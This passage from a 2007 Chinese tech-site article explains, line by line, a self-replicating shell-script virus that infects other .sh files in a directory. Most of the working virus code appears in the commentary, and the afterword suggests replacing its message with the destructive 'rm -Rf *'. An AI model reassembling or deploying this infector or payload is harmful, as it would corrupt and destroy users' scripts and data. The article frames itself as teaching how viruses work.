科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网软件频道Linux操作系统下Shell病毒详细介绍 (3)

Linux操作系统下Shell病毒详细介绍 (3)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

说起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦 从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感 染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下 这么一个小脚本,功能就是感染其他she

作者:yuanye 来源:赛迪网技术社区 2007年11月18日

关键字: 病毒 shell 操作系统 Linux

  • 评论
  • 分享微博
  • 分享邮件
 

4. 简单讲解

我们来一步步分析一下这个病毒: #B:<+!a%C&t:> 病毒体开始标记,用于程序复制自己定位用。 vFile=$_ ; vTmp=/tmp/.vTmp.$$ 定义两个变量,一个临时文件,一个记录当前程序名称$_,这也就要求我们 必须把这行作为程序有效行的第一行,如果放后头我们就无法得到当前程序 名称,后面就找不到从哪里去找病毒体来拷贝了。

for f in ./*.sh; do

开始循环,找到当前目录下的所有.sh结尾的程序。

if [ ! -w $f -a ! -r $vFile ]; then continue; fi

目标是否有写权限,病毒源文件是否有读权限。

if grep '<+!a%C&t:>' $f ; then continue; fi

目标是否已经中毒很深无药可救了,如果是这样还给他再来一次也太不仁义了吧?

if sed -n '1p' $f | grep 'csh'; then continue; fi

如果目标shell是以csh的那语法上差异太大了,放弃吧。

cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi

好了准备感染,先把目标拷贝一个备份,拷贝失败了怎么办?当然只好放弃了。

vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`

这是干嘛?好像挺复杂,不过学shell病毒不了解awk和正规表达式好像有点说不 过去吧,这个就是找到程序开始的注释和空白行有多少,好方便我们确定病毒体 插入点。

sed -n "1,${vNo}p" $vTmp >$f

一个sed命令把目标文件的开始注释部分从备份文件中copy回来。

(sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f

再来一个sed完成搬运病毒体的工作。

vNo=`expr $vNo + 1` 
sed -n "${vNo},\$p" $vTmp >>$f

最后一个sed把目标文件的其他部分搬回来,sed真强大呀!!

rm -f $vTmp

清理一下临时文件。

done >/dev/null 2>&1

循环结束。

unset vTmp ;unset vFile ;unset vNo

清理一下犯罪现场。

echo "Hi, here is a demo shell virus in your script !"

都感染了好歹也要显示点东西以告诉别人这是个被病毒感染过的程序吧。

#E:<+!a%C&t:>

病毒体结束标记,用于程序复制自己定位用。

5. 后记

从中我们可以看到脚本病毒非常简单,不需要很多知识就能写一个,而且病毒 破坏力也是不可小视比如我们的程序里把echo信息改为rm -Rf * ;同时反方面 也展示了shell的强大之处,试想传统的程序光是处理PE文件结构和ELF结构就得 花多少功夫。

上面得程序已经在Linux和Solaris上测试通过,windows上得用户在Cygwin上 应该也行。

顺便再强调一次,写这篇文章得目的是和大家分享一下对病毒得理解,而不是 教写病毒出去害人,切记切记!

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章